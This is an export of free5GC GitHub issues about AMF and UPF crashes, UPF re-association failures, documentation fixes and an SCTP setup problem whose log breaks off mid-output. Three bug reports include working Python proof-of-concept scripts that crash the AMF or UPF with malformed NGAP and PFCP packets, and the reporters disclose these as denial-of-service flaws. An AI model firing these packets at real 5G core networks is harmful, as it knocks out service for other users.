https://api.github.com/repos/free5gc/free5gc/issues/504/comments
| 1 |
2023-11-07T07:49:23Z
|
2023-11-26T12:00:09Z
|
https://github.com/free5gc/free5gc/issues/504
| 1,980,751,899 | 504 |
[
"free5gc",
"free5gc"
] |
Hi,
I am working with free5GC using two UPFs currently. The problem I am describing now is kind of vague at the moment, and I hope to investigate it further with your help.
When a UPF fails, the association thread detects this failure through the heartbeat. The UPF then is re-associated.
## Describe the bug
The problem I encounter very frequently is that this re-association actually never happens. I can see the SMF sends the association requests to the UPF, and I can also see the UPF correctly processes them. Yet, the reply is never processed by the SMF. Instead, the SMF fails with the error "Request Transaction [14439]: retry-out after 3 attempt(s)".
This happens even without any UE or RAN connected (I use ueransim). I think it is important to mention that I use a heartbeat interval of 10ms for my tests (with 0 retries and a 10ms timeout, I parametrized [these values](https://github.com/free5gc/pfcp/blob/main/transaction.go#L46)), as I depend on detecting failures fast.
I do not know yet what causes this issue, but I think it may be connected to the custom PFCP library using by the SMF and UPF.
## To Reproduce
Steps to reproduce the behavior:
1. Use latest free5GC v3.3.0.
1. Use standard configuration, insert both UPFs into SMF config.
1. Configure the heartbeat interval to 10ms and change the PFCP retry to 0 and the timeout to 10ms [here](https://github.com/free5gc/pfcp/blob/main/transaction.go#L46). Recompile the SMF with these new values. Or parametrize them and read them from a config file.
1. Start free5GC with two UPFs (I use OpenvSwitch and Linux network namespaces to run both on the same VM).
This is the hard part now, as the problem does not show up always. This is why I suspect it is a race condition or high load related problem. Essentially, wait until one heartbeat failure is falsely detected (on my system, a 10ms heartbeat leads to many false-positive heartbeat misses). You will notice the problem showing up through repeated association failures on the SMF and "new node" messages on the UPF.
## Expected behavior
The association should be successful.
## Screenshots
This is the log output:
2023-10-29T19:14:23.254916858Z [INFO][SMF][Main] Send an Association Setup Request to UPF[10.0.0.12]
2023-10-29T19:14:35.257360226Z [WARN][SMF][PFCP] Failed to setup an association with UPF[10.0.0.12], error:Request Transaction [12038]: retry-out after 3 attempt(s)
2023-10-29T19:14:35.257509751Z [INFO][SMF][Main] Send an Association Setup Request to UPF[10.0.0.12]
2023-10-29T19:14:47.260214657Z [WARN][SMF][PFCP] Failed to setup an association with UPF[10.0.0.12], error:Request Transaction [13238]: retry-out after 3 attempt(s)
2023-10-29T19:14:47.260343311Z [INFO][SMF][Main] Send an Association Setup Request to UPF[10.0.0.12]
2023-10-29T19:14:59.264166054Z [WARN][SMF][PFCP] Failed to setup an association with UPF[10.0.0.12], error:Request Transaction [14439]: retry-out after 3 attempt(s)
2023-10-29T19:14:59.264260957Z [INFO][SMF][Main] Send an Association Setup Request to UPF[10.0.0.12]
2023-10-29T19:15:11.267275581Z [WARN][SMF][PFCP] Failed to setup an association with UPF[10.0.0.12], error:Request Transaction [15637]: retry-out after 3 attempt(s)
2023-10-29T19:15:11.267372434Z [INFO][SMF][Main] Send an Association Setup Request to UPF[10.0.0.12]
2023-10-29T19:15:23.269838515Z [WARN][SMF][PFCP] Failed to setup an association with UPF[10.0.0.12], error:Request Transaction [16837]: retry-out after 3 attempt(s)
And the UPF:
2023-10-29T19:15:29.270721263Z [INFO][UPF][PFCP][LAddr:10.0.0.12:8805] handleAssociationSetupRequest
2023-10-29T19:15:29.270816948Z [INFO][UPF][PFCP][LAddr:10.0.0.12:8805] delete node: Remote node {
Id: 10.0.0.1
Address: 10.0.0.1:8805
Local node: &{sess:[<nil> <nil> <nil> <nil> <nil>] free:[1 2 3 4 5]}
}
2023-10-29T19:15:29.270860139Z [INFO][UPF][PFCP][LAddr:10.0.0.12:8805][CPNodeID:10.0.0.1] New node
I noticed that the heartbeat implementation is not very mature at this moment. So it might be that this is simply a feature that was not tested much before. Please let me know how I can help to further investigate!
I omitted the rest of the bug report template, as the bug is kind of vague and I feel no additional info would help at this moment.
|
[Bugs] Re-association starvation with 2 connected UPFs
|
https://api.github.com/repos/free5gc/free5gc/issues/502/comments
| 9 |
2023-10-29T20:04:23Z
|
2024-04-26T08:13:48Z
|
https://github.com/free5gc/free5gc/issues/502
| 1,967,135,549 | 502 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
When I try to send a captured UE registration request message to the AMF, the log shows 'sctp accept from <nil>,' and the AMF crashes, causing disconnection for other UEs as well.
## To Reproduce
Steps to reproduce the behavior:
1. Using free5gc-compose to establish the AMF.
2. run free5gc with default config.
3. Run the following POC python script
`import sys, sctp, socket
if len(sys.argv) != 2:
print("Usage: free5gc.py server-address")
exit(0)
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))
ue_request=b'\x00\x0f\x40\x48\x00\x00\x05\x00\x55\x00\x02\x00\x01\x00\x26\x00\x1a\x19\x7e\x00\x41\x79\x00\x0d\x01\x02\xf8\x39\x00\x00\x00\x00\x00\x00\x00\x00\x30\x2e\x04\xf0\xf0\xf0\xf0\x00\x79\x00\x13\x50\x02\xf8\x39\x00\x00\x00\x01\x00\x02\xf8\x39\x00\x00\x01\xe8\xe8\x7e\xd4\x00\x5a\x40\x01\x18\x00\x70\x40\x01\x00'
sk.sctp_send(ue_request, ppid=socket.htonl(60))
sk.close()`
## Expected behavior
I have sent the registration request of a UE that has already completed registration, so the expected behavior should be a notification that the user is already registered and a rejection of the request.However, the AMF crashed
## Screenshots
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04.1 live-server
- Kernel version: 5.4.0-165-generic
## Trace File
### Configuration File
Use the default config file.
### PCAP File
[crash.zip](https://github.com/free5gc/free5gc/files/13198058/crash.zip)
### Log File
`amf | 2023-10-29T11:42:37.467203444Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf | 2023-10-29T11:42:37.467906401Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf | goroutine 137 [running]:
amf | runtime/debug.Stack()
amf | /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf | panic({0xbb3280, 0x13088a0})
amf | /usr/local/go/src/runtime/panic.go:1038 +0x215
amf | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc0001ec020}, {0xc0008ce000, 0x40000, 0x40000})
amf | /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc0001ec020, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
n3iwf | 2023-10-29T11:42:37.490422713Z [WARN][N3IWF][NGAP] [SCTP] Close connection.
n3iwf | 2023-10-29T11:42:37.490494299Z [INFO][N3IWF][NGAP] NGAP receiver stopped
n3iwf | 2023-10-29T11:42:37.490506087Z [INFO][N3IWF][NGAP] NGAP server stopped
ueransim | [2023-10-29 11:42:37.490] [sctp] [debug] SCTP association shutdown (clientId: 2)
ueransim | [2023-10-29 11:42:37.491] [sctp] [warning] Unhandled SCTP notification received
ueransim | [2023-10-29 11:42:37.491] [ngap] [error] Association terminated for AMF[2]
ueransim | [2023-10-29 11:42:37.491] [ngap] [debug] Removing AMF context[2]
`
## Additional context
This security issue could allow anyone to send an message that would cause an amf denial of service and severely affect other users.
|
[Bugs]Amf crashed when failed to resolve the IP of ngap message , resulting in a null pointer reference.
|
https://api.github.com/repos/free5gc/free5gc/issues/501/comments
| 1 |
2023-10-29T12:48:07Z
|
2023-12-04T08:48:37Z
|
https://github.com/free5gc/free5gc/issues/501
| 1,966,977,323 | 501 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The page's text formatting was a little bit confusing.
## Suggestion
Update it making the instructions and its text more clear.
## Additional context
PR already open there.
|
[Docs] Improve new subscriber webconsole instructions
|
https://api.github.com/repos/free5gc/free5gc/issues/500/comments
| 0 |
2023-10-28T01:26:07Z
|
2023-10-30T07:01:21Z
|
https://github.com/free5gc/free5gc/issues/500
| 1,966,349,997 | 500 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The URLs on the bottom of the page https://free5gc.org/guide/Appendix/#appendix-f-program-the-sim-card or more specifically the sysmocom and card reader ones are broken.
## Suggestion
Update those URLs.
## Additional context
I couldn't find new URLs (that matched exactly the old referenced models) by myself so I hope you guys can update them for us.
|
[Docs] Update the Appendix F URLs
|
https://api.github.com/repos/free5gc/free5gc/issues/499/comments
| 3 |
2023-10-28T00:57:48Z
|
2023-11-06T13:17:49Z
|
https://github.com/free5gc/free5gc/issues/499
| 1,966,339,033 | 499 |
[
"free5gc",
"free5gc"
] |
## Documentation request
What was unclear/insufficient/not covered in the documentation.
The version of the referenced software is outdated, some URLs were broken and some typos were present on the text.
## Suggestion
Fix the typos and URLs.
## Additional context
Issue already open on the docs repo. Added some text improvements too.
|
[Docs] Improvements to the Ubuntu vm install demo page
|
https://api.github.com/repos/free5gc/free5gc/issues/498/comments
| 0 |
2023-10-28T00:36:17Z
|
2023-10-28T09:26:54Z
|
https://github.com/free5gc/free5gc/issues/498
| 1,966,330,988 | 498 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
When testing the free5gc AMF, it always crashes when receiving invalid NGAP messages.
## To Reproduce
Steps to reproduce the behavior:
1. Use https://github.com/free5gc/free5gc-compose as the test target
2. Start it with command `docker compose up`
3. Find the amf address with command `docker inspect free5gc-compose_privnet`
4. Run this POC python script: `python3 free5gc.py amf-address`
```python
import sys, sctp, socket
if len(sys.argv) != 2:
print("Usage: free5gc.py server-address")
exit(0)
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))
sk.sctp_send(b"Hello!", ppid=socket.htonl(60))
sk.close()
```
## Expected behavior
I think the expected behavior is rejecting the connection request. The current behavior is that the AMF crashes and unable to restart. This could cause DOS attack to the AMF funtionality.
When receiving NGAP message, it should validate the message content and reject malformed messages.
## Screenshots
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04 Server
- Kernel version: 5.4.0-165-generic
## Trace File
### Configuration File
Use the default config file of free5gc-compose
### PCAP File
[ngap.zip](https://github.com/free5gc/free5gc/files/13163030/ngap.zip)
### Log File
```text
n3iwf | free5GC version: v3.3.0
n3iwf | build time: 2023-06-08T16:41:03Z
n3iwf | commit hash: 22988ee2
n3iwf | commit time: 2023-06-07T05:56:10Z
n3iwf | go version: go1.17.13 linux/amd64
n3iwf | 2023-10-25T07:44:00.771477845Z [INFO][N3IWF][CFG] Read config from [./config/n3iwfcfg.yaml]
n3iwf | 2023-10-25T07:44:00.774585151Z [INFO][N3IWF][Main] Log enable is set to [true]
n3iwf | 2023-10-25T07:44:00.775936035Z [INFO][N3IWF][Main] Log level is set to [info]
n3iwf | 2023-10-25T07:44:00.775944386Z [INFO][N3IWF][Main] Report Caller is set to [false]
n3iwf | 2023-10-25T07:44:00.775946917Z [INFO][N3IWF][Init] Server started
n3iwf | 2023-10-25T07:44:00.783345437Z [WARN][N3IWF][CTX] Parse PKCS8 private key failed: x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format)
n3iwf | 2023-10-25T07:44:00.787204900Z [INFO][N3IWF][CTX] Parse using PKCS1...
n3iwf | 2023-10-25T07:44:00.802363531Z [WARN][N3IWF][Init] netlink.RouteAdd: file exists
n3iwf | 2023-10-25T07:44:00.802403761Z [INFO][N3IWF][Init] Setup XFRM interface xfrmi-default
amf | 2023-10-25T07:44:00.806365569Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: 10.100.200.13/10.0.0.1:39401
n3iwf | 2023-10-25T07:44:00.823230904Z [INFO][N3IWF][NGAP] [N3IWF] Send NG Setup Request
n3iwf | 2023-10-25T07:44:00.838772233Z [INFO][N3IWF][Init] NGAP service running.
amf | 2023-10-25T07:44:00.833948377Z [INFO][AMF][Ngap] Create a new NG connection for: 10.100.200.13/10.0.0.1:39401
amf | 2023-10-25T07:44:00.851111321Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Handle NGSetupRequest
amf | 2023-10-25T07:44:00.851129648Z [WARN][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Missing IE PagingDRX
amf | 2023-10-25T07:44:00.851147752Z [INFO][AMF][Ngap][ran_addr:10.100.200.13/10.0.0.1:39401] Send NG-Setup response
n3iwf | 2023-10-25T07:44:00.854214403Z [INFO][N3IWF][Init] NAS TCP server successfully started.
n3iwf | 2023-10-25T07:44:00.868424664Z [INFO][N3IWF][Init] Listening NWu user plane traffic
n3iwf | 2023-10-25T07:44:00.880093826Z [INFO][N3IWF][NGAP] [N3IWF] Handle NG Setup Response
n3iwf | 2023-10-25T07:44:00.895830913Z [INFO][N3IWF][Init] IKE service running.
n3iwf | 2023-10-25T07:44:00.896054523Z [INFO][N3IWF][Init] N3IWF running...
webui | 2023-10-25T07:44:20.644588072Z [ERRO][WEBUI][CTX] RestfulAPIGetMany err: server selection error: context deadline exceeded, current topology: { Type: Unknown, Servers: [{ Addr: db:27017, Type: Unknown, Last error: connection() error occured during connection handshake: dial tcp: lookup db on 127.0.0.11:53: server misbehaving }, ] }
amf | 2023-10-25T07:44:24.920922234Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf | 2023-10-25T07:44:24.921416064Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf | goroutine 65 [running]:
amf | runtime/debug.Stack()
amf | /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf | panic({0xbb3280, 0x13088a0})
amf | /usr/local/go/src/runtime/panic.go:1038 +0x215
amf | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc000472000}, {0xc0008c0000, 0x40000, 0x40000})
amf | /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc000472000, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
```
## System architecture (Option)
N/A
## Walkthrough (Option)
free5GC will be interested on the research or finding in brief.
## Additional context
It will be appreciated if other context can be added here.
|
[Bugs] AMF crashed when receving invalid NGAP messages
|
https://api.github.com/repos/free5gc/free5gc/issues/497/comments
| 1 |
2023-10-25T08:11:58Z
|
2023-12-04T09:48:25Z
|
https://github.com/free5gc/free5gc/issues/497
| 1,960,809,373 | 497 |
[
"free5gc",
"free5gc"
] |
[Bugs] UPF crash caused by malformed PFCP message whose Sequence Number is mutated to overflow bytes
## Describe the bug
While fuzzing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when send malformed PFCP Heartbeat Request whose Sequence Number is mutated to overflow bytes (e.g. 0xFF 0xFF 0xFF 0xFF). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash.
## To Reproduce
Steps to reproduce the behavior:
1. Build the UPF with source code
2. Run the bin/upf with default config/upfcfg.yaml
3. Run the following POC python script
```python
#!/usr/bin/env python3
import socket
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.settimeout(1.0)
pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00'
pfcp_heartbeat_request = b'\x20\x01\x00\x0f\x00\x00\x00\xff\xff\xff\x00\x00\x60\x00\x04\xe8\x1f\xdc\x30'
udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805))
try:
udp_socket.recv(65535)
except Exception as exception:
print(f"Receive failed: {exception}")
udp_socket.close()
```
## Expected behavior
Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check the total length of PFCP messages, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF.
## Screenshots
No special screenshot is provided.
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04
- Kernel version: 5.4.5-050405-generic
- go version: go1.21.1 linux/amd64
## Trace File
### Configuration File
No specific configuration is required.
### PCAP File
No specific pcap file is provided.
### Log File
```bash
2023-10-24T17:49:15.614745280+08:00 [INFO][UPF][CFG] ==================================================
2023-10-24T17:49:15.614761831+08:00 [INFO][UPF][Main] Log level is set to [info]
2023-10-24T17:49:15.614777264+08:00 [INFO][UPF][Main] Report Caller is set to [false]
2023-10-24T17:49:15.614837834+08:00 [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2023-10-24T17:49:15.614864772+08:00 [INFO][UPF][Main] GTP Address: "127.0.0.8:2152"
2023-10-24T17:49:15.650332227+08:00 [INFO][UPF][BUFF] buff netlink server started
2023-10-24T17:49:15.650439249+08:00 [INFO][UPF][Perio] perio server started
2023-10-24T17:49:15.650444691+08:00 [INFO][UPF][Gtp5g] Forwarder started
2023-10-24T17:49:15.652112097+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] starting pfcp server
2023-10-24T17:49:15.652132290+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] pfcp server started
2023-10-24T17:49:15.652138607+08:00 [INFO][UPF][Main] UPF started
2023-10-24T17:50:42.343823681+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] handleAssociationSetupRequest
2023-10-24T17:50:42.343962121+08:00 [INFO][UPF][PFCP][LAddr:127.0.0.8:8805][CPNodeID:10.100.200.100] New node
2023-10-24T17:50:42.347048969+08:00 [FATA][UPF][PFCP][LAddr:127.0.0.8:8805] panic: runtime error: slice bounds out of range [6:4]
goroutine 10 [running]:
runtime/debug.Stack()
/usr/local/go/src/runtime/debug/stack.go:24 +0x65
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()
/home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x5d
panic({0x860400, 0xc000490210})
/usr/local/go/src/runtime/panic.go:1038 +0x215
github.com/wmnsk/go-pfcp/ie.(*IE).UnmarshalBinary(0x10000c0000cbb30, {0xc000490200, 0x20, 0x30})
/home/lee/gowork/pkg/mod/github.com/wmnsk/[email protected]/ie/ie.go:371 +0x1a5
github.com/wmnsk/go-pfcp/ie.Parse({0xc000490200, 0xb, 0xb})
/home/lee/gowork/pkg/mod/github.com/wmnsk/[email protected]/ie/ie.go:339 +0x48
github.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc000490200, 0x13, 0x13})
/home/lee/gowork/pkg/mod/github.com/wmnsk/[email protected]/ie/ie.go:632 +0x8c
github.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc000096720, {0xc0004901f8, 0x0, 0xadaa82a41536e5d2})
/home/lee/gowork/pkg/mod/github.com/wmnsk/[email protected]/message/heartbeat-request.go:101 +0x6e
github.com/wmnsk/go-pfcp/message.Parse({0xc0004901f8, 0x13, 0x13})
/home/lee/gowork/pkg/mod/github.com/wmnsk/[email protected]/message/message.go:117 +0x3ab
github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc000400a90, 0xc0004030d0)
/home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x4ce
created by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start
/home/lee/Downloads/free5gc/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xd2
```
|
[Bugs] UPF crash caused by malformed PFCP messages whose Sequence Number is mutated to overflow bytes
|
https://api.github.com/repos/free5gc/free5gc/issues/496/comments
| 1 |
2023-10-24T11:07:44Z
|
2023-11-26T13:36:56Z
|
https://github.com/free5gc/free5gc/issues/496
| 1,959,013,436 | 496 |
[
"free5gc",
"free5gc"
] |
## Documentation request
After a OS crash or reboot or kernel update, the GTP-U module might have to be reinstalled to start to work again.
## Suggestion
Provide instructions to solve the issue in case it happens.
## Additional context
PR created on the other repo. To avoid opening another issue here, I added the command to disable the UFW firewall utility permanently on another PR there.
|
[Docs] Troubleshooting for GTP-U and UPF/SMF communication & ufw cmd on install guide
|
https://api.github.com/repos/free5gc/free5gc/issues/492/comments
| 1 |
2023-10-11T02:09:33Z
|
2023-10-12T04:58:03Z
|
https://github.com/free5gc/free5gc/issues/492
| 1,936,636,632 | 492 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The README.md file on the docs repo is outdated
## Suggestion
Update its content with clearer and updated instructions
## Additional context
I took the opportunity to update the requirements file too. Pull request already created there.
|
[Docs] Update the README file content
|
https://api.github.com/repos/free5gc/free5gc/issues/491/comments
| 0 |
2023-10-04T23:57:26Z
|
2023-10-06T12:18:51Z
|
https://github.com/free5gc/free5gc/issues/491
| 1,927,142,157 | 491 |
[
"free5gc",
"free5gc"
] |
## Documentation request
The SMF URL is broken on the Basic Configuration page
## Suggestion
Fix the URL adding the correct one
## Additional context
PR already made on the docs repo
|
[Docs] URL regarding SMF detailed config is broken
|
https://api.github.com/repos/free5gc/free5gc/issues/489/comments
| 0 |
2023-10-03T22:23:07Z
|
2023-10-04T02:02:58Z
|
https://github.com/free5gc/free5gc/issues/489
| 1,925,039,625 | 489 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
I am trying to connect the free5gc from Ueransim VM through sctp connection. While trying to connect below are the error we are getting
```
root@ueransim:~/UERANSIM# build/nr-gnb -c config/free5gc-gnb.yaml
UERANSIM v3.2.6
[2023-10-03 05:42:06.270] [sctp] [info] Trying to establish SCTP connection... (192.168.56.10:38412)
```
## Expected behavior
SCTP should connect to Free5GC VM
free5gc machine ip is 192.168.56.10
ueransim machine ip is 192.168.57.10
ping is also happening
```
root@ueransim:~/UERANSIM# ping 192.168.56.10
PING 192.168.56.10 (192.168.56.10) 56(84) bytes of data.
64 bytes from 192.168.56.10: icmp_seq=1 ttl=63 time=1.33 ms
64 bytes from 192.168.56.10: icmp_seq=2 ttl=63 time=1.45 ms
```
from both sides
```
root@free5gc:~/free5gc/config# ping 192.168.57.10
PING 192.168.57.10 (192.168.57.10) 56(84) bytes of data.
64 bytes from 192.168.57.10: icmp_seq=1 ttl=63 time=1.33 ms
64 bytes from 192.168.57.10: icmp_seq=2 ttl=63 time=0.877 ms
```
## Screenshots
Please find attached screenshots
## Environment (please complete the following information):
- free5GC Version: [e.g. v3.3.0-15-g8b2ae3b]
- OS: [e.g. Ubuntu 20.04 Server]
- Kernel version: [e.g.5.4.0-163-generic ]
- go version: [e.g. go1.20.8 linux/amd64]
- c compiler version (Option): [e.g. gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0]
## Trace File
### Configuration File
Provide the configuration file here.
attached amf config file for refrence
**UERANSIM VM - free5gc-gnb.yaml file**
```
root@ueransim:~/UERANSIM/config# cat free5gc-gnb.yaml
mcc: '208' # Mobile Country Code value
mnc: '93' # Mobile Network Code value (2 or 3 digits)
nci: '0x000000010' # NR Cell Identity (36-bit)
idLength: 32 # NR gNB ID length in bits [22...32]
tac: 1 # Tracking Area Code
#linkIp: 127.0.0.1 # gNB's local IP address for Radio Link Simulation (Usually same with local IP)
linkIp: 192.168.57.10 # gNB's local IP address for Radio Link Simulation (Usually same with local IP)
ngapIp: 192.168.57.10 # gNB's local IP address for N2 Interface (Usually same with local IP)
gtpIp: 192.168.57.10 # gNB's local IP address for N3 Interface (Usually same with local IP)
# List of AMF address information
amfConfigs:
- address: 192.168.56.10
port: 38412
# List of supported S-NSSAIs by this gNB
slices:
- sst: 0x1
sd: 0x010203
# Indicates whether or not SCTP stream number errors should be ignored.
ignoreStreamIds: true
```
### PCAP File
Tried to capture SCTP using - sudo tcpdump -i any sctp -nn and also with sudo tcpdump -i any host 192.168.57.10 -nn
No packets captured when trying to run free5gc-gnb.yaml
### Log File
Free5GC VM:
```
log path: ./log/20231003_062751/
2023-10-03T06:27:51.422309591Z [INFO][UPF][Main] UPF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-02T08:32:38Z
commit hash: b192a9a8
commit time: 2023-10-01T09:39:46Z
go version: go1.17.8 linux/amd64
2023-10-03T06:27:51.422427580Z [INFO][UPF][CFG] Read config from [./config/upfcfg.yaml]
2023-10-03T06:27:51.422778436Z [INFO][UPF][CFG] ==================================================
2023-10-03T06:27:51.422811041Z [INFO][UPF][CFG] (*factory.Config)(0xc00009c820)({
Version: (string) (len=5) "1.0.3",
Description: (string) (len=31) "UPF initial local configuration",
Pfcp: (*factory.Pfcp)(0xc00009b290)({
Addr: (string) (len=9) "127.0.0.8",
NodeID: (string) (len=9) "127.0.0.8",
RetransTimeout: (time.Duration) 1s,
MaxRetrans: (uint8) 3
}),
Gtpu: (*factory.Gtpu)(0xc00009b440)({
Forwarder: (string) (len=5) "gtp5g",
IfList: ([]factory.IfInfo) (len=1 cap=1) {
(factory.IfInfo) {
Addr: (string) (len=13) "192.168.56.10",
Type: (string) (len=2) "N3",
Name: (string) "",
IfName: (string) "",
MTU: (uint32) 0
}
}
}),
DnnList: ([]factory.DnnList) (len=1 cap=1) {
(factory.DnnList) {
Dnn: (string) (len=8) "internet",
Cidr: (string) (len=12) "10.60.0.0/24",
NatIfName: (string) ""
}
},
Logger: (*factory.Logger)(0xc0000a4a80)({
Enable: (bool) true,
Level: (string) (len=4) "info",
ReportCaller: (bool) false
})
})
2023-10-03T06:27:51.422872483Z [INFO][UPF][CFG] ==================================================
2023-10-03T06:27:51.422891782Z [INFO][UPF][Main] Log level is set to [info]
2023-10-03T06:27:51.422909115Z [INFO][UPF][Main] Report Caller is set to [false]
2023-10-03T06:27:51.422943370Z [INFO][UPF][Main] starting Gtpu Forwarder [gtp5g]
2023-10-03T06:27:51.422965889Z [INFO][UPF][Main] GTP Address: "192.168.56.10:2152"
2023-10-03T06:27:51.434874944Z [INFO][UPF][BUFF] buff netlink server started
2023-10-03T06:27:51.435075232Z [INFO][UPF][Perio] perio server started
2023-10-03T06:27:51.436275553Z [INFO][UPF][Gtp5g] Forwarder started
2023-10-03T06:27:51.437435160Z [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] starting pfcp server
2023-10-03T06:27:51.437655245Z [INFO][UPF][PFCP][LAddr:127.0.0.8:8805] pfcp server started
2023-10-03T06:27:51.437914986Z [INFO][UPF][Main] UPF started
./run.sh: line 111: mongo: command not found
Current Mongosh Log ID: 651bb4670deff48f0caf3d1c
Connecting to: mongodb://127.0.0.1:27017/free5gc?directConnection=true&serverSelectionTimeoutMS=2000&appName=mongosh+2.0.1
Using MongoDB: 7.0.2
Using Mongosh: 2.0.1
For mongosh info see: https://docs.mongodb.com/mongodb-shell/
------
The server generated these startup warnings when booting
2023-10-03T02:35:47.509+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
2023-10-03T02:35:48.305+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
2023-10-03T02:35:48.306+00:00: vm.max_map_count is too low
------
true
2023-10-03T06:27:53.583297358Z [INFO][NRF][Main] NRF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-03T03:44:20Z
commit hash: dbb285a4
commit time: 2023-10-01T10:14:28Z
go version: go1.20.8 linux/amd64
2023-10-03T06:27:53.583485018Z [INFO][NRF][CFG] Read config from [./config/nrfcfg.yaml]
2023-10-03T06:27:53.584195709Z [INFO][NRF][Main] Log enable is set to [true]
2023-10-03T06:27:53.584262113Z [INFO][NRF][Main] Log level is set to [info]
2023-10-03T06:27:53.584299650Z [INFO][NRF][Main] Report Caller is set to [false]
2023-10-03T06:27:53.584329577Z [INFO][NRF][Init] nrfconfig Info: Version[1.0.2] Description[NRF initial local configuration]
2023-10-03T06:27:53.584566183Z [INFO][NRF][Init] Server starting
2023-10-03T06:27:53.585560647Z [INFO][NRF][Init] Binding addr: [127.0.0.10:8000]
2023-10-03T06:27:53.669464193Z [INFO][AMF][Main] AMF version:
free5GC version: v3.3.0-15-g8b2ae3b
build time: 2023-10-02T14:56:37Z
commit hash: +7907d3c
commit time: 2023-05-20T15:04:00Z
go version: go1.17.8 linux/amd64
2023-10-03T06:27:53.669711679Z [INFO][AMF][CFG] Read config from [./config/amfcfg.yaml]
2023-10-03T06:27:53.671380150Z [INFO][AMF][Main] Log enable is set to [true]
2023-10-03T06:27:53.671417209Z [INFO][AMF][Main] Log level is set to [info]
2023-10-03T06:27:53.671437031Z [INFO][AMF][Main] Report Caller is set to [false]
2023-10-03T06:27:53.671461810Z [INFO][AMF][Util] amfconfig Info: Version[1.0.9]
2023-10-03T06:27:53.671582351Z [INFO][AMF][Init] Server started
2023-10-03T06:27:53.671812792Z [INFO][AMF][Util] amfconfig Info: Version[1.0.9]
2023-10-03T06:27:53.672300384Z [INFO][AMF][Ngap] Listen on 192.168.56.10:38412
2023-10-03T06:27:53.674216106Z [INFO][NRF][NFM] Handle NFRegisterRequest
2023-10-03T06:27:53.676384746Z [INFO][NRF][NFM] urilist update
2023-10-03T06:27:53.735783288Z [INFO][NRF][NFM] Create NF Profile
